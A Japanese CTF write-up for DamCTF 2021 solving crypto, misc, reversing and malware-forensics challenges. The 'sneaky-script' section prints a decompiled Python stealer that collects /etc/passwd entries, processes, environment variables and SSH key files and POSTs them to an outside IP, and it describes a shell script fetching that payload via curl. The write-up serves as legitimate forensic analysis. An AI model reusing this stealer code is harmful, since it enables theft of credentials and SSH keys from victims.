DamCTF 2021 Writeup

この大会は2021/11/6 9:00(JST)~2021/11/8 9:00(JST)に開催されました。
今回もチームで参戦。結果は2864点で827チーム中70位でした。
自分で解けた問題をWriteupとして書いておきます。

rules (misc)

ルールを見ると、フラグのサンプルが書いてあった。

dam{s4niTy_ch3ck_1n_rul35?!}

xorpals (crypto)

各行で、flagが'd'から始まることを前提にXORのキーを求め、復号し、flagの形式に合うものを探す。

#!/usr/bin/env python3
with open('flags.txt', 'r') as f:
    lines = f.read().splitlines()

for line in lines:
    enc = bytes.fromhex(line)
    k = enc[0] ^ ord('d')
    flag = ''
    for c in enc:
        flag += chr(c ^ k)
    if flag.startswith('dam'):
        print(flag)
        break
dam{antman_EXPANDS_inside_tHaNoS_never_sinGLE_cHaR_xOr_yeet}

bad-patterns (misc)

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

Lpthq jrvym!frpos"vmt!cpit-"fsntgfxeuwu$aeksmsdkqk fnlx,!uhh eq#iivupsd!vhqppt#mndkgmdvpw$uu"oebpth$eu"gslpth$mbiqe bnluub0#Yt!gqmm!cg$mjplq wgqman.#uuju#rotvuyd!g{irdkwetjqq$umndqcp"oebptlw okvm vv#eljsxmp!g{$eb"fsmnqgs dqqwerwdx.!Fxms!cxxe!kuyrf"gslpt#mn!thtrfjhrdftlx jp#zomwsxaug#zemkw$etuh$cjnoym!frposg#iu!hxkibv#rumnd$pbtletvt1$Eyehttfwu$sjpw$odedicbv#guqkgetbv#roo"svojfhrt-"vynu"lr dwota!sxm phimcjc#hetguynu"pslmkw$aokp$ie"hwt!ndfoswp2

1文字目から1文字ごとにどのように暗号しているかを見ていく。

L( 76) -> L( 76)  0
o(111) -> p(112) +1
r(114) -> t(116) +2
e(101) -> h(104) +3
m(109) -> q(113) +4
 ( 32) ->  ( 32)  0
i(105) -> j(106) +1
p(112) -> r(114) +2
s(115) -> v(118) +3
u(117) -> y(121) +4
m(109) -> m(109)  0
 ( 32) -> !( 33) +1

この繰り返しになっているようだ。同じように問題の平文を暗号化する。

pt = 'bagelarenotwholewheatsometimes'

flag = ''
for i in range(len(pt)):
    flag += chr(ord(pt[i]) + (i % 5))

flag = 'dam{%s}' % flag
print flag
dam{bbihpasgqstxjrpexjhettqpitjohw}

sneaky-script (malware)

mal.shからcurlでUserAgentを指定し、54.80.43.46にアクセスしている。pcapから該当するパケットはhttpでフィルタリングして簡単に見つかるので、レスポンスのデータをエクスポートする。
mal.shからエクスポートしたデータをbase64デコードし、python3で実行していることもわかる。エクスポートしたデータをbase64デコードする。

#!/usr/bin/env python3
import base64

with open('.cacheimg', 'r') as f:
    data = f.read()

data = base64.b64decode(data)

with open('cacheimg.pyc', 'wb') as f:
    f.write(data)

すると、pycのデータになるので、デコンパイルする。

$ uncompyle6 cacheimg.pyc 
# uncompyle6 version 3.7.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.6.9 (default, Jan 26 2021, 15:33:00) 
# [GCC 8.4.0]
# Embedded file name: /tmp/tmpaliidej5
# Compiled at: 2021-09-26 09:59:31
# Size of source mod 2**32: 2900 bytes
import array, base64, fcntl, http.client, json, re, socket, struct, os, uuid

def get_net_info():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    g = array.array('B', b'\x00' * 4096)
    y = struct.unpack('iL', fcntl.ioctl(s.fileno(), 35090, struct.pack('iL', 4096, g.buffer_info()[0])))[0]
    n = g.tobytes()
    a = []
    for i in range(0, y, 40):
        c = n[i:i + 16].split(b'\x00', 1)[0]
        c = c.decode()
        m = n[i + 20:i + 24]
        v = f"{m[0]}.{m[1]}.{m[2]}.{m[3]}"
        a.append((c, v))

    return a


def get_users():
    with open('/etc/passwd', 'r') as (f):
        x = [x.strip() for x in f.readlines()]
    g = []
    for z in x:
        a = z.split(':')
        if int(a[2]) < 1000 or int(a[2]) > 65000:
            if a[0] != 'root':
                continue
        g.append((a[2], a[0], a[5], a[6]))

    return g


def get_proc():
    n = []
    a = os.listdir('/proc')
    for b in a:
        try:
            int(b)
            x = os.readlink(f"/proc/{b}/exe")
            with open(f"/proc/{b}/cmdline", 'rb') as (f):
                s = (b' ').join(f.read().split(b'\x00')).decode()
            n.append((b, x, s))
        except:
            continue

    return n


def get_ssh(u):
    s = []
    try:
        x = os.listdir(u + '/.ssh')
        for y in x:
            try:
                with open(f"{u}/.ssh/{y}", 'r') as (f):
                    s.append((y, f.read()))
            except:
                continue

    except:
        pass

    return s


def build_output(net, user, proc, ssh):
    out = {}
    out['net'] = net
    out['proc'] = proc
    out['env'] = dict(os.environ)
    out['user'] = []
    for i in range(len(user)):
        out['user'].append({'info':user[i],  'ssh':ssh[i]})

    return out


def send(data):
    c = http.client.HTTPConnection('34.207.187.90')
    p = json.dumps(data).encode()
    k = b'8675309'
    d = bytes([p[i] ^ k[(i % len(k))] for i in range(len(p))])
    c.request('POST', '/upload', base64.b64encode(d))
    x = c.getresponse()


def a():
    key = ':'.join(re.findall('..', '%012x' % uuid.getnode()))
    if '4b:e1:d6:a8:66:be' != key:
        return
    net = get_net_info()
    user = get_users()
    proc = get_proc()
    ssh = []
    for _, _, a, _ in user:
        ssh.append(get_ssh(a))

    data = build_output(net, user, proc, ssh)
    send(data)


try:
    a()
except:
    pass
# okay decompiling cacheimg.pyc

このコードを見ると、さまざまなデータを収集し、加工して送信している。pcapから送信データをエクスポートし、元に戻していく。戻したら、各種データを見ながらフラグを探す。最終的には環境変数FLAGに設定されていた。

#!/usr/bin/env python3
import base64
import json

with open('send_data', 'r') as f:
    data = f.read()

## recover data before send function execution
data = base64.b64decode(data)
k = b'8675309'
p = bytes([data[i] ^ k[(i % len(k))] for i in range(len(data))])
data = json.loads(p)

## gen env var
env = data['env']
for k, v in env.items():
    print(f"{k}={v}")

環境変数を取得した結果は以下の通り。

SHELL=/bin/bash
SESSION_MANAGER=local/ubuntu:@/tmp/.ICE-unix/5068,unix/ubuntu:/tmp/.ICE-unix/5068
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=4988
GTK_MODULES=gail:atk-bridge
PWD=/home/jim
XDG_SESSION_DESKTOP=ubuntu
LOGNAME=jim
XDG_SESSION_TYPE=x11
GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
XAUTHORITY=/run/user/1000/gdm/Xauthority
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
WINDOWPATH=2
HOME=/home/jim
USERNAME=jim
IM_CONFIG_PHASE=1
LANG=en_US.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
XDG_CURRENT_DESKTOP=ubuntu:GNOME
VTE_VERSION=6003
GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/20a1c576_0ae5_4a9f_9bed_162e06ba9032
INVOCATION_ID=b5c7562742e44663aa23b8d7ef58d4b7
MANAGERPID=4725
FLAG=dam{oh_n0_a1l_muh_k3y5_are_g0n3}★
GJS_DEBUG_OUTPUT=stderr
LESSCLOSE=/usr/bin/lesspipe %s %s
XDG_SESSION_CLASS=user
TERM=xterm-256color
LESSOPEN=| /usr/bin/lesspipe %s
USER=jim
GNOME_TERMINAL_SERVICE=:1.139
DISPLAY=:0
SHLVL=2
QT_IM_MODULE=ibus
XDG_RUNTIME_DIR=/run/user/1000
JOURNAL_STREAM=8:110255
XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
GDMSESSION=ubuntu
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
OLDPWD=/home/jim/Desktop
_=/usr/bin/python3
dam{oh_n0_a1l_muh_k3y5_are_g0n3}

seed (rev)

UNIXTIMEで先月1日以降のブルートフォースで条件にあてはまるものを探す。

#!/usr/bin/env python3
import random
import hashlib

def hash(text):
    return hashlib.sha256(str(text).encode()).hexdigest()

def get_flag(seed):
    random.seed(seed, version=2)
    x = random.random()
    flag = hash(x)
    return x, flag

rs = [0.3322089622063289, 0.10859805708337256, 0.39751456956943265,
    0.6194981263678604, 0.32054505821893853, 0.2674908181379442,
    0.5379388350878211, 0.7799698997586163, 0.6893538761284775,
    0.7171513961367021, 0.29362186264112344, 0.06571100672753238,
    0.9607588522085679, 0.33534977507836194, 0.07384192274198853,
    0.1448081453121044]

for s in range(1633014000, 1636124400):
    x, flag = get_flag(s)
    if x == 0.3322089622063289:
        for i in range(1, 16):
            x, flag = get_flag(s + i)
            assert x == rs[i]
        x, flag = get_flag(s + 16)
        assert 'b9ff3ebf' in flag
        print(f"dam{{{flag}}}")
        break
dam{f6f73f022249b67e0ff840c8635d95812bbb5437170464863eda8ba2b9ff3ebf}

damctf-survey (misc)

アンケートに答えたら、フラグが表示された。

dam{th4nk5_F0r_P14yIng_s33_you_n3x7_ye4r}